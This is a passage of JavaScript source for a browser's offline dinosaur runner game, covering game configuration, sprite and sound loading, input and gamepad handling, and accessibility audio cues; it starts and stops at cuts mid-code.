  this.soundFx = {};
  this.generatedSoundFx = null;

  // Global web audio context for playing sounds.
  this.audioContext = null;

  // Images.
  this.images = {};
  this.imagesLoaded = 0;

  // Gamepad state.
  this.pollingGamepads = false;
  this.gamepadIndex = undefined;
  this.previousGamepad = null;

  if (this.isDisabled()) {
    this.setupDisabledRunner();
  } else {
    if (Runner.isAltGameModeEnabled()) {
      this.initAltGameType();
      Runner.gameType = this.gameType;
    }
    this.loadImages();

    window['initializeEasterEggHighScore'] =
        this.initializeHighScore.bind(this);
  }
}

/**
 * Default game width.
 * @const
 */
const DEFAULT_WIDTH = 600;

/**
 * Frames per second.
 * @const
 */
const FPS = 60;

/** @const */
const IS_HIDPI = window.devicePixelRatio > 1;

/** @const */
const IS_IOS = /CriOS/.test(window.navigator.userAgent);

/** @const */
const IS_MOBILE = /Android/.test(window.navigator.userAgent) || IS_IOS;

/** @const */
const IS_RTL = document.querySelector('html').dir == 'rtl';

/** @const */
const ARCADE_MODE_URL = 'chrome://dino/';

/** @const */
const RESOURCE_POSTFIX = 'offline-resources-';

/** @const */
const A11Y_STRINGS = {
  ariaLabel: 'dinoGameA11yAriaLabel',
  description: 'dinoGameA11yDescription',
  gameOver: 'dinoGameA11yGameOver',
  highScore: 'dinoGameA11yHighScore',
  jump: 'dinoGameA11yJump',
  started: 'dinoGameA11yStartGame',
  speedLabel: 'dinoGameA11ySpeedToggle',
};

/**
 * Default game configuration.
 * Shared config for all  versions of the game. Additional parameters are
 * defined in Runner.normalConfig and Runner.slowConfig.
 */
Runner.config = {
  AUDIOCUE_PROXIMITY_THRESHOLD: 190,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
  BG_CLOUD_SPEED: 0.2,
  BOTTOM_PAD: 10,
  // Scroll Y threshold at which the game can be activated.
  CANVAS_IN_VIEW_OFFSET: -10,
  CLEAR_TIME: 3000,
  CLOUD_FREQUENCY: 0.5,
  FADE_DURATION: 1,
  FLASH_DURATION: 1000,
  GAMEOVER_CLEAR_TIME: 1200,
  INITIAL_JUMP_VELOCITY: 12,
  INVERT_FADE_DURATION: 12000,
  MAX_BLINK_COUNT: 3,
  MAX_CLOUDS: 6,
  MAX_OBSTACLE_LENGTH: 3,
  MAX_OBSTACLE_DUPLICATION: 2,
  RESOURCE_TEMPLATE_ID: 'audio-resources',
  SPEED: 6,
  SPEED_DROP_COEFFICIENT: 3,
  ARCADE_MODE_INITIAL_TOP_POSITION: 35,
  ARCADE_MODE_TOP_POSITION_PERCENT: 0.1,
};

Runner.normalConfig = {
  ACCELERATION: 0.001,
  AUDIOCUE_PROXIMITY_THRESHOLD: 190,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
  GAP_COEFFICIENT: 0.6,
  INVERT_DISTANCE: 700,
  MAX_SPEED: 13,
  MOBILE_SPEED_COEFFICIENT: 1.2,
  SPEED: 6,
};


Runner.slowConfig = {
  ACCELERATION: 0.0005,
  AUDIOCUE_PROXIMITY_THRESHOLD: 170,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 220,
  GAP_COEFFICIENT: 0.3,
  INVERT_DISTANCE: 350,
  MAX_SPEED: 9,
  MOBILE_SPEED_COEFFICIENT: 1.5,
  SPEED: 4.2,
};


/**
 * Default dimensions.
 */
Runner.defaultDimensions = {
  WIDTH: DEFAULT_WIDTH,
  HEIGHT: 150,
};


/**
 * CSS class names.
 * @enum {string}
 */
Runner.classes = {
  ARCADE_MODE: 'arcade-mode',
  CANVAS: 'runner-canvas',
  CONTAINER: 'runner-container',
  CRASHED: 'crashed',
  ICON: 'icon-offline',
  INVERTED: 'inverted',
  SNACKBAR: 'snackbar',
  SNACKBAR_SHOW: 'snackbar-show',
  TOUCH_CONTROLLER: 'controller',
};


/**
 * Sound FX. Reference to the ID of the audio tag on interstitial page.
 * @enum {string}
 */
Runner.sounds = {
  BUTTON_PRESS: 'offline-sound-press',
  HIT: 'offline-sound-hit',
  SCORE: 'offline-sound-reached',
};


/**
 * Key code mapping.
 * @enum {Object}
 */
Runner.keycodes = {
  JUMP: {'38': 1, '32': 1},  // Up, spacebar
  DUCK: {'40': 1},           // Down
  RESTART: {'13': 1},        // Enter
};


/**
 * Runner event names.
 * @enum {string}
 */
Runner.events = {
  ANIM_END: 'webkitAnimationEnd',
  CLICK: 'click',
  KEYDOWN: 'keydown',
  KEYUP: 'keyup',
  POINTERDOWN: 'pointerdown',
  POINTERUP: 'pointerup',
  RESIZE: 'resize',
  TOUCHEND: 'touchend',
  TOUCHSTART: 'touchstart',
  VISIBILITY: 'visibilitychange',
  BLUR: 'blur',
  FOCUS: 'focus',
  LOAD: 'load',
  GAMEPADCONNECTED: 'gamepadconnected',
};

Runner.prototype = {
  /**
   * Initialize alternative game type.
   */
  initAltGameType() {
    if (GAME_TYPE.length > 0) {
      this.gameType = loadTimeData && loadTimeData.valueExists('altGameType') ?
          GAME_TYPE[parseInt(loadTimeData.getValue('altGameType'), 10) - 1] :
          '';
    }
  },

  /**
   * Whether the easter egg has been disabled. CrOS enterprise enrolled devices.
   * @return {boolean}
   */
  isDisabled() {
    return loadTimeData && loadTimeData.valueExists('disabledEasterEgg');
  },

  /**
   * For disabled instances, set up a snackbar with the disabled message.
   */
  setupDisabledRunner() {
    this.containerEl = document.createElement('div');
    this.containerEl.className = Runner.classes.SNACKBAR;
    this.containerEl.textContent = loadTimeData.getValue('disabledEasterEgg');
    this.outerContainerEl.appendChild(this.containerEl);

    // Show notification when the activation key is pressed.
    document.addEventListener(Runner.events.KEYDOWN, function(e) {
      if (Runner.keycodes.JUMP[e.keyCode]) {
        this.containerEl.classList.add(Runner.classes.SNACKBAR_SHOW);
        document.querySelector('.icon').classList.add('icon-disabled');
      }
    }.bind(this));
  },

  /**
   * Setting individual settings for debugging.
   * @param {string} setting
   * @param {number|string} value
   */
  updateConfigSetting(setting, value) {
    if (setting in this.config && value !== undefined) {
      this.config[setting] = value;

      switch (setting) {
        case 'GRAVITY':
        case 'MIN_JUMP_HEIGHT':
        case 'SPEED_DROP_COEFFICIENT':
          this.tRex.config[setting] = value;
          break;
        case 'INITIAL_JUMP_VELOCITY':
          this.tRex.setJumpVelocity(value);
          break;
        case 'SPEED':
          this.setSpeed(/** @type {number} */ (value));
          break;
      }
    }
  },

  /**
   * Creates an on page image element from the base 64 encoded string source.
   * @param {string} resourceName Name in data object,
   * @return {HTMLImageElement} The created element.
   */
  createImageElement(resourceName) {
    const imgSrc = loadTimeData && loadTimeData.valueExists(resourceName) ?
        loadTimeData.getString(resourceName) :
        null;

    if (imgSrc) {
      const el =
          /** @type {HTMLImageElement} */ (document.createElement('img'));
      el.id = resourceName;
      el.src = imgSrc;
      document.getElementById('offline-resources').appendChild(el);
      return el;
    }
    return null;
  },

  /**
   * Cache the appropriate image sprite from the page and get the sprite sheet
   * definition.
   */
  loadImages() {
    let scale = '1x';
    this.spriteDef = Runner.spriteDefinition.LDPI;
    if (IS_HIDPI) {
      scale = '2x';
      this.spriteDef = Runner.spriteDefinition.HDPI;
    }

    Runner.imageSprite = /** @type {HTMLImageElement} */
        (document.getElementById(RESOURCE_POSTFIX + scale));

    if (this.gameType) {
      Runner.altGameImageSprite = /** @type {HTMLImageElement} */
          (this.createImageElement('altGameSpecificImage' + scale));
      Runner.altCommonImageSprite = /** @type {HTMLImageElement} */
          (this.createImageElement('altGameCommonImage' + scale));
    }
    Runner.origImageSprite = Runner.imageSprite;

    // Disable the alt game mode if the sprites can't be loaded.
    if (!Runner.altGameImageSprite || !Runner.altCommonImageSprite) {
      Runner.isAltGameModeEnabled = () => false;
      this.altGameModeActive = false;
    }

    if (Runner.imageSprite.complete) {
      this.init();
    } else {
      // If the images are not yet loaded, add a listener.
      Runner.imageSprite.addEventListener(Runner.events.LOAD,
          this.init.bind(this));
    }
  },

  /**
   * Load and decode base 64 encoded sounds.
   */
  loadSounds() {
    if (!IS_IOS) {
      this.audioContext = new AudioContext();

      const resourceTemplate =
          document.getElementById(this.config.RESOURCE_TEMPLATE_ID).content;

      for (const sound in Runner.sounds) {
        let soundSrc =
            resourceTemplate.getElementById(Runner.sounds[sound]).src;
        soundSrc = soundSrc.substr(soundSrc.indexOf(',') + 1);
        const buffer = decodeBase64ToArrayBuffer(soundSrc);

        // Async, so no guarantee of order in array.
        this.audioContext.decodeAudioData(buffer, function(index, audioData) {
            this.soundFx[index] = audioData;
          }.bind(this, sound));
      }
    }
  },

  /**
   * Sets the game speed. Adjust the speed accordingly if on a smaller screen.
   * @param {number=} opt_speed
   */
  setSpeed(opt_speed) {
    const speed = opt_speed || this.currentSpeed;

    // Reduce the speed on smaller mobile screens.
    if (this.dimensions.WIDTH < DEFAULT_WIDTH) {
      const mobileSpeed = Runner.slowDown ? speed :
                                            speed * this.dimensions.WIDTH /
              DEFAULT_WIDTH * this.config.MOBILE_SPEED_COEFFICIENT;
      this.currentSpeed = mobileSpeed > speed ? speed : mobileSpeed;
    } else if (opt_speed) {
      this.currentSpeed = opt_speed;
    }
  },

  /**
   * Game initialiser.
   */
  init() {
    // Hide the static icon.
    document.querySelector('.' + Runner.classes.ICON).style.visibility =
        'hidden';

    this.adjustDimensions();
    this.setSpeed();

    const ariaLabel = getA11yString(A11Y_STRINGS.ariaLabel);
    this.containerEl = document.createElement('div');
    this.containerEl.setAttribute('role', IS_MOBILE ? 'button' : 'application');
    this.containerEl.setAttribute('tabindex', '0');
    this.containerEl.setAttribute('title', ariaLabel);

    this.containerEl.className = Runner.classes.CONTAINER;

    // Player canvas container.
    this.canvas = createCanvas(this.containerEl, this.dimensions.WIDTH,
        this.dimensions.HEIGHT);

    // Live region for game status updates.
    this.a11yStatusEl = document.createElement('span');
    this.a11yStatusEl.className = 'offline-runner-live-region';
    this.a11yStatusEl.setAttribute('aria-live', 'assertive');
    this.a11yStatusEl.textContent = '';
    Runner.a11yStatusEl = this.a11yStatusEl;

    // Add checkbox to slow down the game.
    this.slowSpeedCheckboxLabel = document.createElement('label');
    this.slowSpeedCheckboxLabel.className = 'slow-speed-option hidden';
    this.slowSpeedCheckboxLabel.textContent =
        getA11yString(A11Y_STRINGS.speedLabel);

    this.slowSpeedCheckbox = document.createElement('input');
    this.slowSpeedCheckbox.setAttribute('type', 'checkbox');
    this.slowSpeedCheckbox.setAttribute(
        'title', getA11yString(A11Y_STRINGS.speedLabel));
    this.slowSpeedCheckbox.setAttribute('tabindex', '0');
    this.slowSpeedCheckbox.setAttribute('checked', 'checked');

    this.slowSpeedToggleEl = document.createElement('span');
    this.slowSpeedToggleEl.className = 'slow-speed-toggle';

    this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedCheckbox);
    this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedToggleEl);

    if (IS_IOS) {
      this.outerContainerEl.appendChild(this.a11yStatusEl);
    } else {
      this.containerEl.appendChild(this.a11yStatusEl);
    }

    announcePhrase(getA11yString(A11Y_STRINGS.description));

    this.generatedSoundFx = new GeneratedSoundFx();

    this.canvasCtx =
        /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
    this.canvasCtx.fillStyle = '#f7f7f7';
    this.canvasCtx.fill();
    Runner.updateCanvasScaling(this.canvas);

    // Horizon contains clouds, obstacles and the ground.
    this.horizon = new Horizon(this.canvas, this.spriteDef, this.dimensions,
        this.config.GAP_COEFFICIENT);

    // Distance meter
    this.distanceMeter = new DistanceMeter(this.canvas,
          this.spriteDef.TEXT_SPRITE, this.dimensions.WIDTH);

    // Draw t-rex
    this.tRex = new Trex(this.canvas, this.spriteDef.TREX);

    this.outerContainerEl.appendChild(this.containerEl);
    this.outerContainerEl.appendChild(this.slowSpeedCheckboxLabel);

    this.startListening();
    this.update();

    window.addEventListener(Runner.events.RESIZE,
        this.debounceResize.bind(this));

    // Handle dark mode
    const darkModeMediaQuery =
        window.matchMedia('(prefers-color-scheme: dark)');
    this.isDarkMode = darkModeMediaQuery && darkModeMediaQuery.matches;
    darkModeMediaQuery.addListener((e) => {
      this.isDarkMode = e.matches;
    });
  },

  /**
   * Create the touch controller. A div that covers whole screen.
   */
  createTouchController() {
    this.touchController = document.createElement('div');
    this.touchController.className = Runner.classes.TOUCH_CONTROLLER;
    this.touchController.addEventListener(Runner.events.TOUCHSTART, this);
    this.touchController.addEventListener(Runner.events.TOUCHEND, this);
    this.outerContainerEl.appendChild(this.touchController);
  },

  /**
   * Debounce the resize event.
   */
  debounceResize() {
    if (!this.resizeTimerId_) {
      this.resizeTimerId_ =
          setInterval(this.adjustDimensions.bind(this), 250);
    }
  },

  /**
   * Adjust game space dimensions on resize.
   */
  adjustDimensions() {
    clearInterval(this.resizeTimerId_);
    this.resizeTimerId_ = null;

    const boxStyles = window.getComputedStyle(this.outerContainerEl);
    const padding = Number(boxStyles.paddingLeft.substr(0,
        boxStyles.paddingLeft.length - 2));

    this.dimensions.WIDTH = this.outerContainerEl.offsetWidth - padding * 2;
    if (this.isArcadeMode()) {
      this.dimensions.WIDTH = Math.min(DEFAULT_WIDTH, this.dimensions.WIDTH);
      if (this.activated) {
        this.setArcadeModeContainerScale();
      }
    }

    // Redraw the elements back onto the canvas.
    if (this.canvas) {
      this.canvas.width = this.dimensions.WIDTH;
      this.canvas.height = this.dimensions.HEIGHT;

      Runner.updateCanvasScaling(this.canvas);

      this.distanceMeter.calcXPos(this.dimensions.WIDTH);
      this.clearCanvas();
      this.horizon.update(0, 0, true);
      this.tRex.update(0);

      // Outer container and distance meter.
      if (this.playing || this.crashed || this.paused) {
        this.containerEl.style.width = this.dimensions.WIDTH + 'px';
        this.containerEl.style.height = this.dimensions.HEIGHT + 'px';
        this.distanceMeter.update(0, Math.ceil(this.distanceRan));
        this.stop();
      } else {
        this.tRex.draw(0, 0);
      }

      // Game over panel.
      if (this.crashed && this.gameOverPanel) {
        this.gameOverPanel.updateDimensions(this.dimensions.WIDTH);
        this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
      }
    }
  },

  /**
   * Play the game intro.
   * Canvas container width expands out to the full width.
   */
  playIntro() {
    if (!this.activated && !this.crashed) {
      this.playingIntro = true;
      this.tRex.playingIntro = true;

      // CSS animation definition.
      const keyframes = '@-webkit-keyframes intro { ' +
            'from { width:' + Trex.config.WIDTH + 'px }' +
            'to { width: ' + this.dimensions.WIDTH + 'px }' +
          '}';
      document.styleSheets[0].insertRule(keyframes, 0);

      this.containerEl.addEventListener(Runner.events.ANIM_END,
          this.startGame.bind(this));

      this.containerEl.style.webkitAnimation = 'intro .4s ease-out 1 both';
      this.containerEl.style.width = this.dimensions.WIDTH + 'px';

      this.setPlayStatus(true);
      this.activated = true;
    } else if (this.crashed) {
      this.restart();
    }
  },


  /**
   * Update the game status to started.
   */
  startGame() {
    if (this.isArcadeMode()) {
      this.setArcadeMode();
    }
    this.toggleSpeed();
    this.runningTime = 0;
    this.playingIntro = false;
    this.tRex.playingIntro = false;
    this.containerEl.style.webkitAnimation = '';
    this.playCount++;
    this.generatedSoundFx.background();
    announcePhrase(getA11yString(A11Y_STRINGS.started));

    if (Runner.audioCues) {
      this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
    }

    // Handle tabbing off the page. Pause the current game.
    document.addEventListener(Runner.events.VISIBILITY,
          this.onVisibilityChange.bind(this));

    window.addEventListener(Runner.events.BLUR,
          this.onVisibilityChange.bind(this));

    window.addEventListener(Runner.events.FOCUS,
          this.onVisibilityChange.bind(this));
  },

  clearCanvas() {
    this.canvasCtx.clearRect(0, 0, this.dimensions.WIDTH,
        this.dimensions.HEIGHT);
  },

  /**
   * Checks whether the canvas area is in the viewport of the browser
   * through the current scroll position.
   * @return boolean.
   */
  isCanvasInView() {
    return this.containerEl.getBoundingClientRect().top >
        Runner.config.CANVAS_IN_VIEW_OFFSET;
  },

  /**
   * Enable the alt game mode. Switching out the sprites.
   */
  enableAltGameMode() {
    Runner.imageSprite = Runner.altGameImageSprite;
    Runner.spriteDefinition = Runner.spriteDefinitionByType[Runner.gameType];

    if (IS_HIDPI) {
      this.spriteDef = Runner.spriteDefinition.HDPI;
    } else {
      this.spriteDef = Runner.spriteDefinition.LDPI;
    }

    this.altGameModeActive = true;
    this.tRex.enableAltGameMode(this.spriteDef.TREX);
    this.horizon.enableAltGameMode(this.spriteDef);
    this.generatedSoundFx.background();
  },

  /**
   * Update the game frame and schedules the next one.
   */
  update() {
    this.updatePending = false;

    const now = getTimeStamp();
    let deltaTime = now - (this.time || now);

    // Flashing when switching game modes.
    if (this.altGameModeFlashTimer < 0 || this.altGameModeFlashTimer === 0) {
      this.altGameModeFlashTimer = null;
      this.tRex.setFlashing(false);
      this.enableAltGameMode();
    } else if (this.altGameModeFlashTimer > 0) {
      this.altGameModeFlashTimer -= deltaTime;
      this.tRex.update(deltaTime);
      deltaTime = 0;
    }

    this.time = now;

    if (this.playing) {
      this.clearCanvas();

      // Additional fade in - Prevents jump when switching sprites
      if (this.altGameModeActive &&
          this.fadeInTimer <= this.config.FADE_DURATION) {
        this.fadeInTimer += deltaTime / 1000;
        this.canvasCtx.globalAlpha = this.fadeInTimer;
      } else {
        this.canvasCtx.globalAlpha = 1;
      }

      if (this.tRex.jumping) {
        this.tRex.updateJump(deltaTime);
      }

      this.runningTime += deltaTime;
      const hasObstacles = this.runningTime > this.config.CLEAR_TIME;

      // First jump triggers the intro.
      if (this.tRex.jumpCount === 1 && !this.playingIntro) {
        this.playIntro();
      }

      // The horizon doesn't move until the intro is over.
      if (this.playingIntro) {
        this.horizon.update(0, this.currentSpeed, hasObstacles);
      } else if (!this.crashed) {
        const showNightMode = this.isDarkMode ^ this.inverted;
        deltaTime = !this.activated ? 0 : deltaTime;
        this.horizon.update(
            deltaTime, this.currentSpeed, hasObstacles, showNightMode);
      }

      // Check for collisions.
      let collision = hasObstacles &&
          checkForCollision(this.horizon.obstacles[0], this.tRex);

      // For a11y, audio cues.
      if (Runner.audioCues && hasObstacles) {
        const jumpObstacle =
            this.horizon.obstacles[0].typeConfig.type != 'COLLECTABLE';

        if (!this.horizon.obstacles[0].jumpAlerted) {
          const threshold = Runner.isMobileMouseInput ?
              Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y :
              Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD;
          const adjProximityThreshold = threshold +
              (threshold * Math.log10(this.currentSpeed / Runner.config.SPEED));

          if (this.horizon.obstacles[0].xPos < adjProximityThreshold) {
            if (jumpObstacle) {
              this.generatedSoundFx.jump();
            }
            this.horizon.obstacles[0].jumpAlerted = true;
          }
        }
      }

      // Activated alt game mode.
      if (Runner.isAltGameModeEnabled() && collision &&
          this.horizon.obstacles[0].typeConfig.type == 'COLLECTABLE') {
        this.horizon.removeFirstObstacle();
        this.tRex.setFlashing(true);
        collision = false;
        this.altGameModeFlashTimer = this.config.FLASH_DURATION;
        this.runningTime = 0;
        this.generatedSoundFx.collect();
      }

      if (!collision) {
        this.distanceRan += this.currentSpeed * deltaTime / this.msPerFrame;

        if (this.currentSpeed < this.config.MAX_SPEED) {
          this.currentSpeed += this.config.ACCELERATION;
        }
      } else {
        this.gameOver();
      }

      const playAchievementSound = this.distanceMeter.update(deltaTime,
          Math.ceil(this.distanceRan));

      if (!Runner.audioCues && playAchievementSound) {
        this.playSound(this.soundFx.SCORE);
      }

      // Night mode.
      if (!Runner.isAltGameModeEnabled()) {
        if (this.invertTimer > this.config.INVERT_FADE_DURATION) {
          this.invertTimer = 0;
          this.invertTrigger = false;
          this.invert(false);
        } else if (this.invertTimer) {
          this.invertTimer += deltaTime;
        } else {
          const actualDistance =
              this.distanceMeter.getActualDistance(Math.ceil(this.distanceRan));

          if (actualDistance > 0) {
            this.invertTrigger =
                !(actualDistance % this.config.INVERT_DISTANCE);

            if (this.invertTrigger && this.invertTimer === 0) {
              this.invertTimer += deltaTime;
              this.invert(false);
            }
          }
        }
      }
    }

    if (this.playing || (!this.activated &&
        this.tRex.blinkCount < Runner.config.MAX_BLINK_COUNT)) {
      this.tRex.update(deltaTime);
      this.scheduleNextUpdate();
    }
  },

  /**
   * Event handler.
   * @param {Event} e
   */
  handleEvent(e) {
    return (function(evtType, events) {
      switch (evtType) {
        case events.KEYDOWN:
        case events.TOUCHSTART:
        case events.POINTERDOWN:
          this.onKeyDown(e);
          break;
        case events.KEYUP:
        case events.TOUCHEND:
        case events.POINTERUP:
          this.onKeyUp(e);
          break;
        case events.GAMEPADCONNECTED:
          this.onGamepadConnected(e);
          break;
      }
    }.bind(this))(e.type, Runner.events);
  },

  /**
   * Initialize audio cues if activated by focus on the canvas element.
   * @param {Event} e
   */
  handleCanvasKeyPress(e) {
    if (!this.activated && !Runner.audioCues) {
      this.toggleSpeed();
      Runner.audioCues = true;
      this.generatedSoundFx.init();
      Runner.generatedSoundFx = this.generatedSoundFx;
      Runner.config.CLEAR_TIME *= 1.2;
    } else if (e.keyCode && Runner.keycodes.JUMP[e.keyCode]) {
      this.onKeyDown(e);
    }
  },

  /**
   * Prevent space key press from scrolling.
   * @param {Event} e
   */
  preventScrolling(e) {
    if (e.keyCode === 32) {
      e.preventDefault();
    }
  },

  /**
   * Toggle speed setting if toggle is shown.
   */
  toggleSpeed() {
    if (Runner.audioCues) {
      const speedChange = Runner.slowDown != this.slowSpeedCheckbox.checked;

      if (speedChange) {
        Runner.slowDown = this.slowSpeedCheckbox.checked;
        const updatedConfig =
            Runner.slowDown ? Runner.slowConfig : Runner.normalConfig;

        Runner.config = Object.assign(Runner.config, updatedConfig);
        this.currentSpeed = updatedConfig.SPEED;
        this.tRex.enableSlowConfig();
        this.horizon.adjustObstacleSpeed();
      }
      if (this.playing) {
        this.disableSpeedToggle(true);
      }
    }
  },

  /**
   * Show the speed toggle.
   * From focus event or when audio cues are activated.
   * @param {Event=} e
   */
  showSpeedToggle(e) {
    const isFocusEvent = e && e.type == 'focus';
    if (Runner.audioCues || isFocusEvent) {
      this.slowSpeedCheckboxLabel.classList.toggle(
          HIDDEN_CLASS, isFocusEvent ? false : !this.crashed);
    }
  },

  /**
   * Disable the speed toggle.
   * @param {boolean} disable
   */
  disableSpeedToggle(disable) {
    if (disable) {
      this.slowSpeedCheckbox.setAttribute('disabled', 'disabled');
    } else {
      this.slowSpeedCheckbox.removeAttribute('disabled');
    }
  },

  /**
   * Bind relevant key / mouse / touch listeners.
   */
  startListening() {
    // A11y keyboard / screen reader activation.
    this.containerEl.addEventListener(
        Runner.events.KEYDOWN, this.handleCanvasKeyPress.bind(this));
    if (!IS_MOBILE) {
      this.containerEl.addEventListener(
          Runner.events.FOCUS, this.showSpeedToggle.bind(this));
    }
    this.canvas.addEventListener(
        Runner.events.KEYDOWN, this.preventScrolling.bind(this));
    this.canvas.addEventListener(
        Runner.events.KEYUP, this.preventScrolling.bind(this));

    // Keys.
    document.addEventListener(Runner.events.KEYDOWN, this);
    document.addEventListener(Runner.events.KEYUP, this);

    // Touch / pointer.
    this.containerEl.addEventListener(Runner.events.TOUCHSTART, this);
    document.addEventListener(Runner.events.POINTERDOWN, this);
    document.addEventListener(Runner.events.POINTERUP, this);

    if (this.isArcadeMode()) {
      // Gamepad
      window.addEventListener(Runner.events.GAMEPADCONNECTED, this);
    }
  },

  /**
   * Remove all listeners.
   */
  stopListening() {
    document.removeEventListener(Runner.events.KEYDOWN, this);
    document.removeEventListener(Runner.events.KEYUP, this);

    if (this.touchController) {
      this.touchController.removeEventListener(Runner.events.TOUCHSTART, this);
      this.touchController.removeEventListener(Runner.events.TOUCHEND, this);
    }

    this.containerEl.removeEventListener(Runner.events.TOUCHSTART, this);
    document.removeEventListener(Runner.events.POINTERDOWN, this);
    document.removeEventListener(Runner.events.POINTERUP, this);

    if (this.isArcadeMode()) {
      window.removeEventListener(Runner.events.GAMEPADCONNECTED, this);
    }
  },

  /**
   * Process keydown.
   * @param {Event} e
   */
  onKeyDown(e) {
    // Prevent native page scrolling whilst tapping on mobile.
    if (IS_MOBILE && this.playing) {
      e.preventDefault();
    }

    if (this.isCanvasInView()) {
      // Allow toggling of speed toggle.
      if (Runner.keycodes.JUMP[e.keyCode] &&
          e.target == this.slowSpeedCheckbox) {
        return;
      }

      if (!this.crashed && !this.paused) {
        // For a11y, screen reader activation.
        const isMobileMouseInput = IS_MOBILE &&
                e.type === Runner.events.POINTERDOWN &&
                e.pointerType == 'mouse' && e.target == this.containerEl ||
            (IS_IOS && e.pointerType == 'touch' &&
             document.activeElement == this.containerEl);

        if (Runner.keycodes.JUMP[e.keyCode] ||
            e.type === Runner.events.TOUCHSTART || isMobileMouseInput ||
            (Runner.keycodes.DUCK[e.keyCode] && this.altGameModeActive)) {
          e.preventDefault();
          // Starting the game for the first time.
          if (!this.playing) {
            // Started by touch so create a touch controller.
            if (!this.touchController && e.type === Runner.events.TOUCHSTART) {
              this.createTouchController();
            }

            if (isMobileMouseInput) {
              this.handleCanvasKeyPress(e);
            }
            this.loadSounds();
            this.setPlayStatus(true);
            this.update();
            if (window.errorPageController) {
              errorPageController.trackEasterEgg();
            }
          }
          // Start jump.
          if (!this.tRex.jumping && !this.tRex.ducking) {
            if (Runner.audioCues) {
              this.generatedSoundFx.cancelFootSteps();
            } else {
              this.playSound(this.soundFx.BUTTON_PRESS);
            }
            this.tRex.startJump(this.currentSpeed);
          }
          // Ducking is disabled on alt game modes.
        } else if (
            !this.altGameModeActive && this.playing &&
            Runner.keycodes.DUCK[e.keyCode]) {
          e.preventDefault();
          if (this.tRex.jumping) {
            // Speed drop, activated only when jump key is not pressed.
            this.tRex.setSpeedDrop();
          } else if (!this.tRex.jumping && !this.tRex.ducking) {
            // Duck.
            this.tRex.setDuck(true);
          }
        }
      }
    }
  },

  /**
   * Process key up.
   * @param {Event} e
   */
  onKeyUp(e) {
    const keyCode = String(e.keyCode);
    const isjumpKey = Runner.keycodes.JUMP[keyCode] ||
        e.type === Runner.events.TOUCHEND || e.type === Runner.events.POINTERUP;

    if (this.isRunning() && isjumpKey) {
      this.tRex.endJump();
    } else if (Runner.keycodes.DUCK[keyCode]) {
      this.tRex.speedDrop = false;
      this.tRex.setDuck(false);
    } else if (this.crashed) {
      // Check that enough time has elapsed before allowing jump key to restart.
      const deltaTime = getTimeStamp() - this.time;

      if (this.isCanvasInView() &&
          (Runner.keycodes.RESTART[keyCode] || this.isLeftClickOnCanvas(e) ||
          (deltaTime >= this.config.GAMEOVER_CLEAR_TIME &&
          Runner.keycodes.JUMP[keyCode]))) {
        this.handleGameOverClicks(e);
      }
    } else if (this.paused && isjumpKey) {
      // Reset the jump state
      this.tRex.reset();
      this.play();
    }
  },

  /**
   * Process gamepad connected event.
   * @param {Event} e
   */
  onGamepadConnected(e) {
    if (!this.pollingGamepads) {
      this.pollGamepadState();
    }
  },

  /**
   * rAF loop for gamepad polling.
   */
  pollGamepadState() {
    const gamepads = navigator.getGamepads();
    this.pollActiveGamepad(gamepads);

    this.pollingGamepads = true;
    requestAnimationFrame(this.pollGamepadState.bind(this));
  },

  /**
   * Polls for a gamepad with the jump button pressed. If one is found this
   * becomes the "active" gamepad and all others are ignored.
   * @param {!Array<Gamepad>} gamepads
   */
  pollForActiveGamepad(gamepads) {
    for (let i = 0; i < gamepads.length; ++i) {
      if (gamepads[i] && gamepads[i].buttons.length > 0 &&
          gamepads[i].buttons[0].pressed) {
        this.gamepadIndex = i;
        this.pollActiveGamepad(gamepads);
        return;
      }
    }
  },

  /**
   * Polls the chosen gamepad for button presses and generates KeyboardEvents
   * to integrate with the rest of the game logic.
   * @param {!Array<Gamepad>} gamepads
   */
  pollActiveGamepad(gamepads) {
    if (this.gamepadIndex === undefined) {
      this.pollForActiveGamepad(gamepads);
      return;
    }

    const gamepad = gamepads[this.gamepadIndex];
    if (!gamepad) {
      this.gamepadIndex = undefined;
      this.pollForActiveGamepad(gamepads);
      return;
    }

    // The gamepad specification defines the typical mapping of physical buttons
    // to button indicies: https://w3c.github.io/gamepad/#remapping
    this.pollGamepadButton(gamepad, 0, 38);  // Jump
    if (gamepad.buttons.length >= 2) {
      this.pollGamepadButton(gamepad, 1, 40);  // Duck
    }
    if (gamepad.buttons.length >= 10) {
      this.pollGamepadButton(gamepad, 9, 13);  // Restart
    }

    this.previousGamepad = gamepad;
  },

  /**
   * Generates a key event based on a gamepad button.
   * @param {!Gamepad} gamepad
   * @param {number} buttonIndex
   * @param {number} keyCode
   */
  pollGamepadButton(gamepad, buttonIndex, keyCode) {
    const state = gamepad.buttons[buttonIndex].pressed;
    let previousState = false;
    if (this.previousGamepad) {
      previousState = this.previousGamepad.buttons[buttonIndex].pressed;
    }
    // Generate key events on the rising and falling edge of a button press.
    if (state !== previousState) {
      const e = new KeyboardEvent(state ? Runner.events.KEYDOWN
                                      : Runner.events.KEYUP,
                                { keyCode: keyCode });
      document.dispatchEvent(e);
    }
  },

  /**
   * Handle interactions on the game over screen state.
   * A user is able to tap the high score twice to reset it.
   * @param {Event} e
   */
  handleGameOverClicks(e) {
    if (e.target != this.slowSpeedCheckbox) {
      e.preventDefault();
      if (this.distanceMeter.hasClickedOnHighScore(e) && this.highestScore) {
        if (this.distanceMeter.isHighScoreFlashing()) {
          // Subsequent click, reset the high score.
          this.saveHighScore(0, true);
          this.distanceMeter.resetHighScore();
        } else {
          // First click, flash the high score.
          this.distanceMeter.startHighScoreFlashing();
        }
      } else {
        this.distanceMeter.cancelHighScoreFlashing();
        this.restart();
      }
    }
  },

  /**
   * Returns whether the event was a left click on canvas.
   * On Windows right click is registered as a click.
   * @param {Event} e
   * @return {boolean}
   */
  isLeftClickOnCanvas(e) {
    return e.button != null && e.button < 2 &&
        e.type === Runner.events.POINTERUP &&
        (e.target === this.canvas ||
